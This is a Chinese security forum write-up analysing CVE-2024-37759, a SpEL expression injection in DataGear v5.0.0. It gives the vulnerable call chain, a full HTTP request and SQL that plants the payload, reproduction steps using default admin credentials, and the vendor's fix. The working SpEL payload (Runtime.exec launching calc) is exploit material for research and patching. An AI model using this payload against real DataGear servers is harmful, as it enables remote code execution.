问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-37759 DataGear v5.0.0 SpEL 表达式注入漏洞分析与复现
漏洞分析
本文分析了 DataGear v5.0.0 中的 SpEL 表达式注入漏洞(CVE-2024-37759),该漏洞允许远程代码执行。文章详细介绍了漏洞原理、复现步骤和修复方案,并强调了 SpEL 表达式漏洞的普遍性,建议开发者谨慎使用相关功能。
CVE-2024-37759 DataGear v5.0.0 SpEL 表达式注入漏洞分析与复现 ================================================ 一、漏洞简介 ------ DataGear 是一款开源免费的数据可视化分析平台,允许用户自由制作数据看板,支持接入 SQL、CSV、Excel、HTTP 接口、JSON 等多种数据源。 DataGear v5.0.0 存在 SpEL 表达式注入漏洞,可导致远程代码执行。 二、影响版本 ------ v5.0.0 及其以下版本 三、漏洞原理分析 -------- ### SpEL 表达式漏洞简介: SpEL(Spring Expression Language)表达式漏洞主要源于其作为动态语言的特性,具有强大的表达式解析和执行能力,能够访问 Java 类的属性、方法和构造函数。 例如,假设系统直接将用户输入作为 SpEL 表达式解析: ```java ExpressionParser parser = new SpelExpressionParser(); String userInput = "#{'calc.exe'.execute()}"; // 用户输入 Expression expression = parser.parseExpression(userInput); expression.getValue(); ``` 在这个示例中,攻击者的输入被直接执行,启动了系统计算器。 ### 项目漏洞点: 在 org.datagear.persistence.support.ConversionSqlParamValueMapper#evaluateVariableExpression 方法中,存在 org.springframework.expression.common.TemplateAwareExpressionParser#parseExpression(java.lang.String) 的调用。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-99c90c2b05ea03160e85d17e8cb7769524672858.png) 如果其中的参数 expression 可控,这个漏洞点就可能被利用。接下来需要找出调用 evaluateVariableExpression 的地方。 ### 触发漏洞点的调用链: ```php org.datagear.web.controller.DataController#view org.datagear.persistence.support.DefaultPersistenceManager#get(java.sql.Connection, org.datagear.persistence.Dialect, org.datagear.meta.Table, org.datagear.persistence.Row, org.datagear.persistence.SqlParamValueMapper, org.datagear.persistence.RowMapper) org.datagear.persistence.support.DefaultPersistenceManager#buildUniqueRecordCondition org.datagear.persistence.support.DefaultPersistenceManager#mapToSqlParamValue org.datagear.persistence.support.ConversionSqlParamValueMapper#map org.datagear.persistence.support.ConversionSqlParamValueMapper#resolveExpressionIf org.datagear.persistence.support.ConversionSqlParamValueMapper#evaluateVariableExpressions ``` org.datagear.web.controller.DataController#view 是查看数据库表中一条记录的入口方法。其逻辑是根据传入的参数查询表,即 SELECT \* FROM table WHERE paramName = paramValue。 但在构造这个 SQL 查询语句时,会对 paramValue 进行处理。它会根据是否包含 "#{" 等特殊字符来判断是否为表达式。如果是表达式,就会进行计算后再拼接到 SQL 中。(这个逻辑在 org.datagear.persistence.support.ConversionSqlParamValueMapper#resolveExpressionIf 中)此外,还需要 ConversionSqlParamValueMapper 启用变量表达式特性。 构造的恶意数据库(具体见漏洞复现)就是利用这个逻辑,传入参数 {"name":"#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}"}。其中的 #{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')} 符合表达式形式,会进入 parseExpression 进行计算,从而触发命令执行。 ### 数据包: ```php POST /data/fed0bed85191b258c9c8/evil/view?ppid=pidm0vxis38 HTTP/1.1 Host: 127.0.0.1:50401 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 88 Origin: <http://127.0.0.1:50401> Connection: close Referer: <http://127.0.0.1:50401/> Cookie: DG_USER_ID_ANONYMOUS=7aab7631c38145688b7254e7e4a43b41; DG_DETECTED_VERSION=5.1.0; JSESSIONID=D71B9A3CCC7BFE511DB3CB8276AE2F93; DG_DETECT_NEW_VERSION_RESOLVED=true Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 {"name":"#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}"} ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-147c29e6a225c9f9e45bdea5e0dd44704888d558.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-1e0f7fb766684651cb56aa4be53ef7a00c411059.png) 四、环境搭建 ------ ### 源码下载 地址:[datageartech/datagear: DataGear数据可视化分析平台,自由制作任何您想要的数据看板 (github.com)](https://github.com/datageartech/datagear) ### 数据库准备: 1. 1. 安装 MySQL 8.0 数据库,并将 root 用户的密码设置为:root(或修改 test/config/jdbc.properties 配置) 2. 1. 新建测试数据库,名称为:dg\_test 3. 1. 使用 test/sql/test-mysql.sql 脚本初始化 dg\_test 库 ### 编译运行: 项目是典型的 Spring Boot 项目。在 IDE 中打开项目,使用 Maven 编译,运行 org.datagear.webapp.DataGearApplication 即可启动。 项目启动后访问地址:[](http://localhost:50401/)<http://localhost:50401> 五、漏洞复现 ------ ### 第一步:准备恶意数据库表: ```sql CREATE DATABASE evil; CREATE TABLE `evil` ( `name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-bd31fe6877d2df3749660367eec468e26fd22a43.png) ### 第二步:添加恶意数据库源 1. 1. 登录 [](http://localhost:50401/)<http://localhost:50401>,默认账号密码为 admin/admin。 2. 1. 在架构添加界面中添加此 MySQL 数据库:`/schema/saveAdd`。 3. 1. 选择"数据源"—"数据源添加",填写刚才创建的恶意数据库地址。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-bf9c56aa2bf53c14740dd1c367421207f1edf8ff.png) ### 第三步:触发漏洞执行代码 打开刚才添加的数据库,然后单击"查看"按钮,将执行 SpEL 表达式。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-954bd2a55ebe66f3b8c0f30d43981e4a5bf3b336.png) 六、修复方案 ------ DataGear 在 v5.1.0 中修复了这个漏洞。 修复方案利用了前面提到的 ConversionSqlParamValueMapper 中的变量表达式特性。新的逻辑直接关闭了这个特性,全部按照字符串处理,不再对表达式进行解析。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-65336b3984f887aeb74735412e868ccab3f80e41.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-df696fee8f60d5bcab12359e50e9de5b5abccf58.png) 七、总结 ---- SpEL 表达式漏洞较为常见。建议根据系统功能决定是否开放 SpEL 解析功能,或使用 SimpleEvaluationContext 来限制可执行注入的 SpEL 表达式。 参考文章: ----- - [CVE Record | CVE](https://www.cve.org/CVERecord?id=CVE-2024-37759) - <https://github.com/datageartech/datagear/issues/32> - [https://github.com/crumbledwall/CVE-2024-37759\_PoC](https://github.com/crumbledwall/CVE-2024-37759_PoC)
发表于 2024-09-14 10:10:26
阅读 ( 3067 )
分类:
CMS
1 推荐
收藏
0 条评论
请先
登录
后评论
coconut
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!